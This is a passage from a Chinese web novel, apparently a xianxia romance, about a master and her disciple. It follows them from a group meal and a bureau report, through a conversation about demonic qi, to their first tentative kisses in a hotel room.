房间里的穆若水正在用手机上网查括约肌是什么,狭义的解释是尾闾穴下方一片的环状肌肉。广义的解释就多了,穆若水按需查询,最后找到一个也许最贴近傅清微意思的答案:前会阴肌。 现在的年轻人懂得真多。 穆若水倒没有那个意思,她是个大部分时候凭本能行事的人,想不通不妨碍她会去做,她想立刻看到傅清微害羞的样子,所以进了洗手间。 之所以选择后臀,是因为这个地方平时她没少用脚尖踢她,肉厚,手感肯定也好。 她也想碰其他的地方,比如她吃过好几次的雪峰红顶。 但碍于师徒身份,碰别的地方多多少少,有些太暧昧了。 过于越界。 再往下真要检验前会阴肌了。 她自恃是个自控力不太高的人,尤其是傅清微睡着的情况下,堪称没有。清醒的时候都能越过的界限,睡着了只会更肆无忌惮。 下一次怎么办?她肯定还是要趁她睡觉纾解自己的渴望,也许就在不久以后。 穆若水庆幸自己这次控制住了冲动。 否则迎接傅清微的就不是捏一捏,而是舔一舔,咬一咬。 穆若水拿过傅清微的双肩登山包,最初她们料到抓黑鱼精恐怕要来回奔波,所以常穿的替换衣物备了几身,穆若水从里面找到一条裤子,扔给了刚好从浴室出来的傅清微。 差点被裤子砸脸的傅清微抬手接住:“……” 穆若水正色道:“穿条裤子睡觉,免得晚上着凉。” 傅清微默了默,展开长裤,说:“至少它不应该是条工装裤。” 穆若水一面说着“是吗”一面继续翻找,把傅清微的内衣裤东一条西一件地都摆在了桌子上,往深处找。 傅清微恨不得跪下来求她。 “我自己来吧。”她把背包从穆若水的手中解救出来,把自己的内衣裤塞回去。 傅清微本来穿了一件洗得面料柔软的长T恤当作睡衣,长度盖到膝盖上方,坐下来的时候稍短,堪堪遮到雪白的大腿根,和刚刚穆若水检查她腿伤时的情形差不多。 傅清微找了条白色短裤在她面前穿上,问:“师尊为什么一定要徒儿穿裤子?” 穆若水低头瞧了眼她的膝盖,竟然也是白里透粉的。 “为师怕你冷。” “师尊为什么偷看我?” “我何时偷看?” “现在。” 穆若水移开停留了好几秒的视线,一本正经地说:“为师关心你的伤情,有何不可?” “是。是徒儿心怀不轨。” 穆若水长眉微蹙,没来得及深究她成语用得不对,傅清微已拉着她的手到床沿坐了下来,和方才同样的姿势,对她示弱道:“我膝盖有点疼。” “还疼?”穆若水在她面前半蹲下来,光明正大看她的膝盖。 傅清微哪里都长得好,连一双膝盖也比旁人的美,像两枚倒扣的玉碗,触之温润。 穆若水的手指在她膝头移动,小心地问她:“是这里疼吗?” “嗯……”傅清微的声音发着细细的颤。 穆若水温柔地给她吹了吹。 傅清微的颤音更重了。 “师尊亲亲就不疼了。”傅清微鼓足所有的勇气,说出了口,克制了第一时间咬唇的冲动。 穆若水指腹移动的动作顿住,没有抬起头看她。 傅清微心里直打鼓,这个要求是不是太冒昧,太厚脸皮了? 下一刻,穆若水就着蹲下的姿势,低头在她的膝头吻了吻。 唇瓣冰凉柔软,落在她的皮肤,像是轻盈的雪。 傅清微的心跳得比方才穆若水在浴室里揉捏她还要快。 傅清微并了并腿,不自觉地将膝盖往里缩。 太紧张害羞了。 穆若水雨露均沾地亲了另一边的膝盖,手撑在床沿,这才仰起脸看她:“好些了吗?” “好多了。” 傅清微所得比她所求更多,还有什么不满足的。 穆若水直起身,将她抱起来放到床头,长腿塞进被子里,说:“好好休息,我去洗澡。” 傅清微嗯了一声,半坐起来。 “我想等你一起睡,师尊帮我把书拿过来吧。” “又使唤我。”穆若水口头不带任何不满的责备,行动更诚实地替她取出背包里的《阵法汇总》。 “记得把灯调亮点,对眼睛好。”穆若水说完,拿起睡衣进了浴室。 傅清微将床边的阅读灯转过来,调到适宜的亮度。 打开书,还没看到字先笑了一会儿,两只手揉了揉脸,继续看书。 穆若水洗完澡出来,傅清微正在床上闭目掐诀,盘腿打坐。 她这个徒儿收得不能说不好,是太好了。 勤奋聪慧、乖巧体贴,满心满眼的都是她,除此之外还美味。 能陪她一辈子,比睡几十年棺材好多了。穆若水停在她身边,细看她年轻姣好的面容,忽然不敢想象十年二十年后她会逐渐生出皱纹的脸。 她会变老,会死,会……永远离开。 明明早在下山那刻就预想过的未来,现在却仿佛难以接受了。 她拒绝去思考,从脑海里摒弃了这些不好的念头,专心瞧了瞧她的脸,甚至拿出手机拍了张照片。 她的手机相册里只有一个人,只有傅清微。 傅清微打坐的时候一向听不到外界的动静,因为她知道师尊会守着她。 今天她结束了两个小时的打坐醒过来,穆若水已经先睡了,时间是凌晨三点,她的作息越来越像个普通人类了。 傅清微记得她起初白天睡觉,晚上活动,在傅清微的影响下睡觉越来越规律,现在比傅清微还正常。 她养的猫和她一样,四仰八叉地睡在床尾,早就见了周公喵。 傅清微从洗手间回来,关了灯,贴着穆若水的身体睡了。 她们两人共睡一床,傅清微基本睡在她的右边,远离心脏的位置。 她刚躺过来穆若水就醒了,没睁眼,只等了几分钟,傅清微的手脚就都不老实地都架了上来。 只穿着短裤的腿,蹭开了穆若水小腿的真丝睡裤,脚掌抵在她细腻的腿肚,蹭了一会儿不满足,整条小腿叠在她的小腿,慢慢往上压住她的大腿。 手比脚老实,不敢往睡衣里伸,只是搭在她的腰腹。 穆若水有时候会想:她经常控制不住自己,是不是有傅清微睡姿勾引她的缘故? 就这样,傅清微还敢说自己睡相规矩。 她不规矩起来岂不是生死难料? 穆若水闭着眼长出了口气,抬脚把傅清微的腿蹬开,傅清微梦里低哼了一声,安分了片刻又卷土重来。 一晚上就在傅清微被踹走又锲而不舍地贴上来,最终以穆若水的妥协而告终。 …… 这两天大家都累到了,于是第二天集合的时间定在了中午,一起吃过午饭,然后去灵管局交任务汇报。 傅清微一觉睡到了上午十点半,穆若水也没起,一条手臂垫在傅清微的颈下,傅清微凑近了看她的脸,数她的眼睫毛,呼吸吐在女人的下巴侧方。 穆若水双眼微阖:“醒了就起来。”别在这东吹西吹的。 傅清微:“师尊什么时候醒的?” 穆若水:“比你早点。” 她将手臂从傅清微的脖子底下抽了出来,活动了一下肩胛骨,半点不拖泥带水地下地,给小三花开罐头。 傅清微见状嘴快地在床上撒娇:“师尊,你还没喂我呢。” 穆若水回头看她的眼睛:“你想我怎么喂你?” 纯情女大又说不出来了,讷讷起床,去洗手间默默红着脸刷牙。 有色心没色胆,口嗨也不行,脸皮薄。 退一万步说,她就不能反客为主,主动去喂师尊吗? 好久都没有变大了。 傅清微只敢在一个人的空间里尽情地幻想,实际师尊进个洗手间的门她都能吓得够呛。 穆若水又不请自入了。 傅清微手忙脚乱地打翻了牙杯,水洒在台盆里,部分溅到了身上。 傅清微:“怎、怎么了?” 穆若水:“没事,为师来看看你。” 走出洗手间开着的门,穆若水驻足在房内,唇角勾了勾。 傅清微的膝盖经过一晚上的休息已经好得差不多了,在她不主动要求的情况下,穆若水依旧在屋里将她抱来抱去地走了好几趟,不知道是在满足傅清微还是满足自己,抑或是都满足到了。 酒店有自己的餐厅,评分软件的分数还不错,就是餐标有点高。 但是可以报销。 几个年轻人在群里一拍即合,决定就近就餐。 “中午好,璇玑。” 龙璇玑又是第一个到的,傅清微和穆若水手牵着手下来,在餐厅看到她已经在位置上坐好了。 “中午好。”龙璇玑给两人拉开椅子。 “谢谢。”傅清微不禁问,“你从哪里学的?” “电视里。”龙璇玑说,“肖道友她们要晚点下来,她刚起床,扶鸾也是。” “没事等会儿吧,不着急。” “傅道友的伤好全了吗?” “有你师、穆道友在,不会有事的。” “那就好。” 两个人大眼瞪小眼了一会儿,回归到各自的社恐但自在的状态。 穆若水摘下口罩,喝了一口玻璃杯里的水,又挂上耳朵。 现下人不多,她也不是不能见人,而且龙璇玑根本不是人。 龙璇玑刚好目睹她的真容,惊鸿一瞥,已足够她久久不能回神。 她知道娘亲为什么会等师娘这么久了。 龙璇玑:【哇】 龙璇玑:【[大拇指][大拇指][大拇指]】 傅清微:【……】 龙璇玑:【为娘亲感到开心[星星眼]】 傅清微:【不要说出去】 龙璇玑:【明白,师娘是你一个人的,我谁也不说】 傅清微看向穆若水重新戴上口罩的脸,才意识到她在师尊的心目中有多特别。 每一次她觉得自己独得她的偏爱,现实就会进一步告诉她,比她想的最特殊还要特殊。 这种偏爱融进生活里,以至于她习以为常,有时自己都意识不到了。 每一份偏爱,都是心动的开始。 她再次描摹黑色口罩下的唇形,内心蠢蠢欲动。 她的奖励还一个都没有兑现呢。 穆若水对她的视线很敏感,冲她挑眉,似乎在问:什么? 傅清微也用口型一字一字回她:没什么。 她的唇也生得好,脸颊带着天生的苍白,唯独一双唇有不多的血色,于是在五官里格外的引人注目。 她说话时穆若水只注意得到她开合的薄唇,根本移不开目光。 亲上去的触感也…… 穆若水终于不可避免地回忆起了在水里的画面。 还有在水面的两次,亲密无间的双唇贴合,她渡气时不小心动到的舌尖。 她阻止了自己一整天,不要去想不要去想,当时是情势所迫,忘记这段意外的插曲。 她宁愿记得自己有失颜面的软弱眼泪,也不要记住她亲吻过她这件事。 但发生了就是发生了,时间无法倒流,她也做不到指定片段失忆。 穆若水说:“我想回房间。” 她不是征询,是通知。 傅清微连忙站起来拉住她离开的手:“怎么这么突然?要不要我陪你?” 穆若水拒绝道:“不必。我不想和人待在一起。” 她可以不吃饭,但傅清微不可以。 穆若水语气和缓了些:“你留下来吧,吃完饭再上去。”到时她应该已经平复好了。 傅清微只好同意。 穆若水只坐了十分钟不到就走了,傅清微把她的水杯端过来,默默不解地喝了一口。 龙璇玑:【穆道友好像失态了】 两个人面对面,却用手机打字。 傅清微:【啊?你怎么看出来的?】 龙璇玑:【刚刚她一直盯着娘亲的嘴巴,我觉得她想亲你,但是亲不到,所以失态了】 傅清微:【你平时都在看什么电视啊璇玑?清净派的掌教不管吗?】 龙璇玑:【师侄不敢管我,但我是下山以后才看电视的】而且这个需要看电视才知道吗?娘亲和师娘就是要接吻的啊。 傅清微:【你确定她刚刚盯着我的嘴唇看?】 龙璇玑:【千真万确】 傅清微:【今晚要是成了,我记你一个大功】 龙璇玑:【^_^】 其余三人姗姗来迟,点完菜几个饿到现在的人风卷残云,就差把桌子腿给啃了。 傅清微心想幸好师尊不在,否则她就抢不过这几个人了。人也就算了,怎么连妖都这么能吃,小小的身子,大大的肚子。 傅清微祭过五脏庙,勉强压抑住独自行动的冲动,和众人一起坐电梯上了楼。 在电梯厅定好待会出发的时间,一出电梯就跑没影了。 公羊荪感叹:“傅道友和她师尊的感情真好。” 其他几个人都瞅她。 公羊荪笑一笑解释:“我的意思是说,情比金坚。” 肖灵秀欣慰地拍她的肩膀:“公羊道友终于成长了。” 龙璇玑在心里默默地赞同公羊荪的话。 “我回来了!”傅清微的声音比房门打开更早送进穆若水的耳朵。 穆若水正在陪小三花玩,神色如常地回头:“回来了。” 傅清微说是,然后从桌上取了一瓶未开封的矿泉水,拧开瓶盖后故意走到穆若水身前,当着她的面一口一口地喝水。 她吞咽了四五下,等到了一下穆若水喉骨微微弧度的起伏。 她放下水瓶,唇瓣被润湿得彻底,底色的红衬得鲜艳光泽。 隔了有一段距离,她无法确定穆若水的目光是不是落在自己唇上,但一定是落在她脸庞某个地方。 她喝水的时候她一直在看她,许久才垂下眼,去瞧冷落的小三花,还装作若无其事。 “半小时后出发。”傅清微把矿泉水瓶搁床头柜上。 落下的那一声响敲在穆若水的心尖上,明明不会有感觉,却还是颤了一下。 “我不想去。”穆若水又说出了令她意外的回答。 “为什么?” “不想见人。” “你是不是……”傅清微在屋子里来回走了两步,说,“师尊,你是不是又发作了?” 想来她们自从认真拜师以来,她们之间的亲密程度大大降低,最过分的好像也就是插了她的嘴巴,但都没有切实的接触,比如含一含、咬一咬她。 她好像对自己的身体有亲密需求。 穆若水确实发作过,但上次已经解决了,现在是鸵鸟心理。 她不是不想见人,是不想和傅清微待在一起,在她的头脑彻底冷静下来以前。 穆若水:“算了,我还是去吧。” 众目睽睽,当着人类的面,她多少还能控制一下。万一从灵管局回来她就失忆了,刚好忘记的是在水里那段画面。 “师尊今天怪怪的。” “你不受伤我就不会奇怪。”穆若水把矛头都引到她身上,忍不住埋怨道,“回去好好学游泳。” “是。”傅清微听她主动提起,忍不住试探道,“昨天在水里,师尊是不是……给我渡气了?” 她每一个字都说得很慢,却最大程度地挑起了穆若水紧绷的神经。 “没有,是你的幻觉。”穆若水矢口否认。 “原来是幻觉啊。” 傅清微心里想的却是:噢,你心里有鬼。 穆若水说完就后悔了,傅清微肯定中途醒了,但她说出的话从来不往回咽,现在只有看自己的嘴硬程度,能不能打败傅清微的记忆。 只要她嘴足够硬,迟早给傅清微洗脑成功,也能篡改自己的记忆。 ——昨天在水里什么都没发生。 什么都没…… “唔。”冰凉的瓶口对准她的唇缝,穆若水自然地接过矿泉水瓶,喝了一口甘甜的水。 “甜吗?”傅清微问她。 穆若水说话的时候正看着她琥珀色的眼睛,说不出第二个答案。 “甜。”她口唇开合,也染上水意。 “甜就好。” 傅清微将瓶盖重新拧好搁回床头柜,穆若水才发现自己喝的那瓶是她喝过的水。 简直岂有此理! 只有她喝自己剩下的,焉有她这个师尊捡徒弟的来喝的道理?! 胆大妄为!不孝不敬! 傅清微去洗手了,卫生间的房门关上。 穆若水盯了那瓶蓝色矿泉水十几秒,拿起来,趁着傅清微不在又浅浅地抿了一口。 没有刚刚的甜。 傅清微是不是背着她学了什么让水变甜的术法,只有看着她才有效。 傅清微出来了,穆若水提前将水放回原位,水面的涟漪好一会儿才静止。 傅清微不动声色收回视线,说:“我们出发吧。” 一行六人前往灵管局交任务,因为还有一支队伍没回来,所以分组考核成绩暂时未公布,但考官的嘴松得跟棉裤腰似的,口风不遮不掩,直接让她们明天到局里报道。 众人:“……” 她们并不知道分组前灵管局就有考量,只要不出太大的纰漏,整组都会录取,何况任务完成得很出色。 当夜她们还是住在灵管局安排的酒店,傅清微把车从警局开了回来,她本来想开车回蓬莱观,但穆若水担心她的腿伤不能长时间开车,暂时下榻在酒店。 穆若水一走进酒店的豪华大床房,试图拉开物理距离:“其实我一个人回去也行,我脚程快,明天我再来找你。” 傅清微拿出刚收起的车钥匙,说:“那我也要回去。” 她隐约察觉师尊在躲她,怎么可能让她如愿? 而且今晚她要兑现她的奖励。 穆若水把猫放下:“那就算了,凑活睡一宿。” 她背对着傅清微叹了口气。 怎么还没失忆?死脑子从来没这么好使过,快忘啊! 傅清微根本不给她失忆的机会,还要想方设法给她加深记忆。 这一天下午,她不知道在她面前喝了多少次水,喝得不多,拿着瓶装矿泉水小口地抿,抿完一口还看着她,湿润潋滟的唇瓣开合,穆若水好几次都没听清她在讲什么。 “师尊,师尊?” “你又在发什么呆?” 穆若水唇间发干,说:“口渴。” 傅清微给她拿了瓶水,穆若水检查瓶盖,确认是没开封过的才拧开,一小口一小口地连喝了小半瓶,才滋润了干涸的喉咙。 傅清微弯腰在她身前,双手撑在膝盖上,目光一眨不眨地望着她,确切来说,是盯着她的唇。 她们俩的距离近得只要傅清微低下头,就可以亲到她。 穆若水伸手推在她的肩膀,默不作声拉开了距离。 傅清微一笑过后去收拾行李箱,穆若水的心却始终悬在半空,落不到地面。 直到晚上傅清微将她抵在墙壁,吮吻她的唇瓣,她才终于有了一种尘埃落定的感觉。 无论是好是坏,一切就那样顺其自然地发生了。 第88章 从灵管局回来以后, 傅清微除了偶尔耍一些明撩暗钓的小心思外,并未付诸实际行动。 她有预感今晚的奖励百分之九十可以兑现,唯一阻拦她的只有一件事——天还没黑。 夜晚的傅清微和白天的傅清微相比, 全方位得到进化, 无论是脸皮还是果决, 为了万无一失,她必须等到晚上。 窗外的黑幕终于还是一寸一寸地压低, 侵吞了地板上最后一缕阳光。 穆若水抱着猫:“你不去吃晚饭吗?” 傅清微出去了半小时, 就近吃了碗面,再次出现在穆若水视线。 穆若水从来没觉得她存在感这么强过。 她开门的声音, 走进来的声音, 洗手的声音,水龙头关上,她朝外走的脚步, 每一个细节都敲击着她敏感的耳膜。 奇怪又清晰。 穆若水两手握在椅子扶手, 后背往里抵了抵,紧紧贴住靠背,好像在给自己找一个支撑点。 傅清微仿佛没察觉到她的异样, 停在她面前:“师尊,我先去洗澡了。” 穆若水看旁边息屏显示的手机,才八点:“这么早?” 傅清微直说:“对,晚上有事, 想早点打坐。” 穆若水恨自己嘴快:“什么事?” 夜不够深,傅清微没有进化完全, 含糊带过:“晚点再说, 我去洗澡。” 穆若水在转椅里转着身子猜测:是不是又要吃她手指了? 虽然现在吃有些不合时宜,她可能会动手动脚, 但她勉强也能忍住左手不动。 小三花在她的脚下转来转去,又将两只爪子搭上她的膝盖,脑袋来蹭她的手掌。 穆若水伸手去rua她的圆脑袋,心想傅清微要是像这只猫就好了,高兴了揉两把,不高兴放她到一边玩,而不是逮着时机就想爬到自己头上来。 什么?她还没爬到自己头上?穆若水的眼睛又不瞎,难道看不出她对自己虎视眈眈? 这是亲手养了头喂不饱的小狼啊。 小三花被她的心不在焉rua得不耐烦,三两下从她的膝盖跳到身上,蹲在肩膀,试图爬上她的脑袋。 穆若水:“……” 女人一把将猫抓了下来捞在手里,弹它粉嫩的鼻尖,指桑骂槐:“你怎么和你妈一个德行!” 回应她的只有断线不绝的淋浴声。 趁着傅清微在打坐入定,穆若水的半只脚迈出了酒店的房门,在狼狈逃回蓬莱和留下负隅顽抗之间,选择了面子大过天。她就不信她治不住自己一手养成的傅清微。 今日治不住,来日还得了? 穆若水在洗澡时又无数次生出逃走的心思,都被她压了下来。她堂堂蓬莱观主,绝不会临阵脱逃,就算要检查她的前会阴肌锻炼成果,也是傅清微自找的! 她可以做完不认账! 穆若水以强势的行为逻辑和霸道的处事习惯彻底说服了自己,重新调节了头顶的水温,慢条斯理地给自己洗了个热水澡,顺便解下丝绸发带,把墨色长发也一起洗了。 人间的吹风机还是麻烦,穆若水捏了个法诀速干,穿上傅清微为她准备的睡衣,颈间散发出淡淡浴后的香气。 她不喜欢沐浴露的味道,只用清水除去体周灰尘,周身萦绕时浓时淡的返魂香。 穆若水坐进傅清微给她留出来的半边床里,取了本闲书看。 边看书边等傅清微打坐完毕。 晚上十点,月上中天,傅清微睁开了眼睛。 她琥珀色的瞳仁里阳鱼游于左眼,阴鱼游于右眼,合为太极。 傅清微缓了一会儿,打坐后水色湿润的目光和春日杏花的脸颊一起转向了床头的穆若水。 穆若水抢在她开口前张嘴:“你可知黑雾是什么?” 傅清微:“啊?” 怎么又这么突然? 穆若水的话成功地暂时吸引了傅清微的注意力:“是一缕魔气。” 傅清微继续打坐的姿势,没有近前:“魔气是魔吗?” “当然不是,差得远了。”穆若水说,“你可以将魔气视作一种污染,它会蛊惑人或者妖,或是其他物种的内心,被魔气污染的人会逐渐迷失自我,成为魔气的傀儡,贪婪杀戮。” “黑鱼精是魔吗?” “是,也不是。它本质仍然是妖,只是和魔气融合了,这缕魔气太弱小了,即便彻底融合,也谈不上魔。非要说的话,小虾米魔。” “这还弱小?”傅清微咋舌。 她们四个人拼死拼活才将黑鱼精斩于剑下。 “想想去年的蛟祸。”穆若水提醒她。 “蛟也是被魔气污染的?” “否则它盘踞江底成百上千年,化龙有望,人间有什么值得它作乱的?”穆若水哂道。 “蛊惑黑鱼精和蛊惑蛟的黑雾是同一个吗?” “问这种蠢问题会让我怀疑自己收徒的眼光。” 傅清微从床的那边跨过来,伸手牵住师尊的手撒娇:“我是对着你才会问蠢问题的,只有师尊会纵容我。” 纵容她的穆若水:“当然不是,魔气千千万,能够蛊惑蛟的必然是魔气中最强大的之一,灵管局的人最好当时就除掉了它,否则还有后患。” “岁主任当时劈了那么多道天雷,再厉害的魔气应该也被劈得烟消云散了吧。”傅清微不认为灵管局的高层岁已寒会不知道这些,她亲自出手肯定斩草除根。 令傅清微介意的还是穆若水那句“魔气千千万”,如果真是这样,人间岂不危矣? 傅清微想知道根源:“师尊,到底什么是魔?” 穆若水的一只手正被她牵着,另一只手搭在被面上,傅清微看到她修长的指节在一下一下地敲动,似乎在犹豫要不要告诉她。 傅清微捏了捏她的手指:“师尊?” 她为什么总是在这件事上遮遮掩掩? 是怕她知道太多有危险吗? 穆若水说:“为师本不想你牵涉太多,但既然你已经正面遭遇魔气,为师便同你说了。” 傅清微连忙松开了她的手,正襟危坐,洗耳恭听。 穆若水却将她的手牵回来,十指相扣地与她讲。 “人之假造为妖;物之性灵为精;人魂不散为鬼;天地乖气,忽有非常为怪;神灵不正为邪;人心癫迷为魔;偏向异端为外道。(注)”穆若水的口吻不疾不徐,轻描淡写落下最后一个字。 妖、精、鬼、怪、邪、魔、外道,寥寥几句一目了然,傅清微有如醍醐灌顶。 她初涉玄门,对许多修士来说基础的东西她都云里雾里,公羊荪虽说不出一二三,心里也有底,唯有傅清微,走一步学一步。 有师尊真好。 傅清微感动得钻进她怀里,在丰满柔软之地磨蹭:“呜呜呜。” 穆若水捏着她的后脖颈将她拎起坐好。 “又撒娇。” “爱撒。让不让?” “……让。”穆若水没脾气道。 傅清微不动声色占完便宜,自个儿回味了几秒,方道:“这样说来,璇玑应该是桃树成的精,而不该是桃树妖。” 满脑子璇玑。 穆若水腹诽,道:“你这样理解也没问题,概念都是人造的,非要列个一二三,妖和精的界限没那么清晰,说她是精怪也未尝不可。” 几十年不到百岁的桃树化形,怎么不能算天地造化、非同寻常呢?她一定获得了相当大的机缘。 傅清微只是顺便想到璇玑,很快回到正题,自言自语道:“人心癫迷为魔……” 她倏然抬起眼帘:“魔气难道就是人心?” 穆若水颔首:“不错。人有七情六欲,佛说五毒八苦,贪嗔痴、怨别离,求不得,放不下。只要人的欲望存在一天,魔气就会滋生,到了一定地步,就会像今天一样,侵蚀人间卷土重来。” “灵管局想要彻底消灭魔气,这是一个无休无止的过程,也是不可能完成的事。每隔几十年,或者上百年,就要面对同样的事。” 人类只要输一次,人间就会变成妖魔的人间。 穆若水抚着傅清微的脸,温柔道:“清微,你有没有想过?人族践踏生灵,妖魔践踏人族,这个世间由谁主宰,其实对万物来说并无不同。” 傅清微看着她说:“可我是人类,我会永远站在人类这一边。” 她明白从宏观角度来说,师尊说的是对的,弱肉强食,力量至上,人族只是目前站在了食物链的顶端,并不代表他们生来就比其他生灵高贵,将万物踩在脚下。 但她生来就是人,她有同学、朋友、喜欢的人,和热爱的这个世界,她只有一个立场,那就是维护人间太平,让人间永远是人族的人间。 穆若水对她的答案早有预料,道:“那你就去做你认为正确的事。” “那么师尊呢?” 穆若水的态度似乎总是模棱两可。她爱人,又厌恶人,她对魔没有好感,却会在岸边袖手旁观亲手放跑那只黑鱼精,无所谓它会不会为祸人间。 从她刚才说的话,她确实不在意主宰世界的是人还是妖魔。 假如人和魔有朝一日针锋相对,她的立场又是什么? 她还会想要杀了所有人吗? “你怎么还会问我这个问题?”穆若水用反问句回答了她的疑问。 “徒儿不解。” “只要你活着一日,我会永远站在你身边。” “师尊……” 穆若水的表白固然令傅清微感动,她靠在女人的肩头,依偎进她怀里,却没有完全忽略她前半句的细节。 为什么会提到她活着?难道她会死? 她要是死了……呸呸呸,她才不会死,她还要和师尊长长久久。 说到长长久久,第一步就是该领取她的奖励。 都快十一点了,今晚聊了太久的正事,差点把重要的正事忘了。 傅清微的手来到了女人的手背,指尖在她柔滑的皮肤上画圈圈,穆若水捉住她弄得她发痒的指尖,牵到了唇边,忍住了顺便亲吻的冲动,问:“怎么了?” 傅清微从她的肩头离开,坐得离她极近,问:“师尊,我的奖励呢?” 穆若水默了默,起身道:“我去洗手。” 引人遐思的一句话,但傅清微没有沉迷虚幻的泡泡,她今天一定要亲到师尊。 “不是那个奖励。”傅清微把她掀开的被角重新盖好,盯着她的眼睛说,“是别的。” 穆若水眼睫下覆,目光刚好落在她不断开合的唇。 床上让她没有安全感,所以她固执地下了床,来到地面,拉开距离才问:“你想要什么奖励?” “什么都行吗?” “看情况。” “昨天你不是这么说的。”傅清微追了过来,没有太紧逼的压迫感,否则穆若水会生气,离她大约半米的空间,这是对方能够接受的安全范围。 “说说看。”穆若水态度果然软了下来。 傅清微站在原地,说:“我想让师尊亲我一下。” 穆若水哂笑。 她以为是什么?就这? 穆若水装作淡然自若的样子,上前,在她脸颊亲了一下。 因为这个动作,她们的距离拉到面对面二十公分以内。 傅清微也笑了一笑,说:“我没说是脸。” 她点了点自己的唇。 “我想要亲这里。” “你不要得寸进尺。” “是师尊没问清楚就亲我,应该罚一次奖励。” 穆若水想恼羞成怒,奈何怒火槽是清空状态,这两日傅清微确实表现很好,还是个伤患,到底是自己的徒儿,纵容些便纵容些吧。 穆若水睫羽微垂,盯住她的红唇,喉头微动,缓缓靠近她的脸。 傅清微闭上了眼睛,既紧张又期待。 十几秒后,轻柔的触感落在她的唇角。 傅清微睁开眼:“???” 怎么还带偷工减料的? 穆若水退得很快,傅清微的动作更快,擒住了她的手腕,打消她意图离开的念头,委屈地低声控诉她:“师尊骗我。” “我何时骗你?” “你说话不算话。” “我只说看情况,没说答应你。” “不行,我不接受。” “你——你干什么?” 穆若水发现她一步一步向自己走过来,将她逼到了墙根,后背已经抵住了冰冷的墙壁。她有无数种方式反抗,却乖乖地让她将自己逼到如此境地,默许接下来的事发生,焉能不是一种心甘情愿? 傅清微看出她的口是心非,才敢如此放肆。 “亲我。” “不。” “那换一个奖励。” “什么?”穆若水终于抬起了头,神情勉强恢复镇定。 “换我亲师尊。” “不要……”穆若水只来得及偏头,一个吻印在她的唇角,瞬间垂眸不语。 傅清微观她没有反感,耐心地等了两秒,扶正她的脑袋,用唇瓣慢慢触碰上她的唇。 双唇轻贴的那一刻,世界便安静了,只余心跳的声音。 傅清微闭着眼睛,感觉自己像碰到了两片冬天的花瓣,是冷的,但又是软的。 没有湖水的间隔,没有时断时续的意识,她覆着女人的薄唇,清晰地感受每一个细节,她唇瓣轻轻压下去,很软的一个回弹。 傅清微抿了抿女人的上唇,下唇也如法炮制,再亲回到中间,才缓缓睁开了水色微澜的眼睛。 穆若水和她同时睁开眼睛,第一时间偏开了对视的目光。 “可以了吗?”她看着墙边的方向问。 “如果我说不可以呢?” “不要得寸进尺。”穆若水重复毫无威胁力的话。 “师尊,我想要继续。” 穆若水不说话了,傅清微便捧过她的下巴继续。 她根本不会接吻,回忆起电影看过的,就是伸舌头挺激烈的,她也想亲成这样,可太冒昧了,她更怕胡来弄巧成拙,师尊觉得不舒服以后就不让她亲了。 所以傅清微只是贴着她,双唇亲密地来回摩挲,长久的相贴,已得到极大的心理满足。 她抱着穆若水的腰,将脸埋进她肩膀,心满意足后,轻轻地撒娇。 穆若水:“……” 也不知道谁是被亲的。 穆若水抿了抿比方才红润的唇,喉间的干渴并未得到缓解。 她压抑住这种渴望。 穆若水拍了拍她的背:“睡觉了好吗?” 傅清微抬起头,眼眸清亮,说:“再亲一次。” 穆若水:“……” 第三次傅清微试着探出了一点舌尖,只在外面描摹她的唇形,这一点点刺激足够她腿软,边亲边从缝隙里喘气道:“师尊抱我……” 穆若水根本不动,因为她也没什么力气。 傅清微误以为她不愿意,于是强行拉过她垂在身侧的双手环在自己腰上。 她一碰她,才发觉穆若水靠着墙根快要滑倒,于是改为一手兜住她的腰,为爱做攻。 “师尊……师尊……” 傅清微呢喃自语,将她的唇舔得湿漉漉,才意犹未尽地放开。 穆若水唇瓣水润湿红,偏头低声:“你的话好多。” 傅清微充耳不闻,追着吻了过去。 这次她结合了前三次的经验,一边用舌尖濡湿她的唇瓣,一边含咬吮吻,来回折磨她柔软的唇,几乎要溺毙在和喜欢的人唇齿相依的感受里。 她的胸腔满得要溢出来,心跳剧烈如雷,寻到了穆若水的一只手牵紧了十指相扣,压在了墙边。 她的吻越来越动情投入,灼烧自我神智的同时也在摧毁另一个人的理智。 傅清微湿软舌尖钻入女人的唇缝,游走在城池前,来回两次,礼貌地叩关门。 穆若水推开了她,平时从不会失控的呼吸亦有些紊乱,白皙脸颊被醺上桃花似的薄红,别开脸道:“你该去睡觉了。” “可是……” “到此为止。”穆若水直视她,不再有欲拒还迎的余地。 “好。” 傅清微明白她的忍耐限度在哪里,松开她的腰肢,往回退了两步,给她拿了纸巾和矿泉水过来。 穆若水:“……” 傅清微识趣道:“我帮师尊擦擦吧。” 她捏着纸巾凑近女人的唇,将自己留下的水迹都擦干净,收回手时还恋恋不舍地隔着纸巾碰了碰。 穆若水不轻不重地睨了她一眼。 傅清微把手指收回到背后,指节蜷了蜷。 刚刚只顾着动嘴了,都忘记用手也感受一下,现在只能隔靴搔痒,看得到摸不着。 穆若水喝了水便到床上躺下。 傅清微拿着手机进了卫生间,放下马桶盖,坐在上面打开了浏览器,屏幕的字倒映进她的瞳孔里,求知若渴。 【接吻的十大实用技巧】 【不得不知的接吻窍门】 【怎么和女人接吻】 【第一次接吻应该怎么做】 …… 视频网站的搜索记录也大同小异。 她在卫生间鬼鬼祟祟待了大半个小时,穆若水也没催她,傅清微蹑手蹑脚地出来,房间里的灯已经关了,只留下傅清微床头的那盏。 傅清微握着手机回到床上,侧过身子,单手撑在穆若水枕边:“师尊,你睡了吗?” 穆若水呼吸均匀地装睡。 傅清微一眼看出她在装睡。 傅清微俯身亲了一下她的额头,指腹戳上女人的唇,从左边摸到右边,爱不释手,薄薄的唇很快泛起饱满的绯红。 穆若水忍无可忍地睁眼:“你第一次见女人?” 傅清微结结巴巴:“不、不是。” 师尊的问题好离谱。 她一时都想不通里面的逻辑。 穆若水已经口不择言了,但她气势在,说什么都有她的道理。 傅清微道:“但是第一次亲一个人,不论性别。” 穆若水顿了顿,说:“与我何干?” 傅清微不指望能现在让她说喜欢自己或者接受自己的爱慕,依着她的性子顺毛道:“我想让师尊舒服。” “……” 穆若水的脑子彻底乱了。 刚刚她在自己的嘴唇上摸了半天又不亲她,弄得她很恼火,之后傅清微又说自己是她唯一亲过的人,还说想让她舒服。 她收了个什么徒弟? 在她犹豫的时刻,傅清微已经试探地亲了她的脸和唇角,见她不反对,才低头覆上女人柔软的唇。 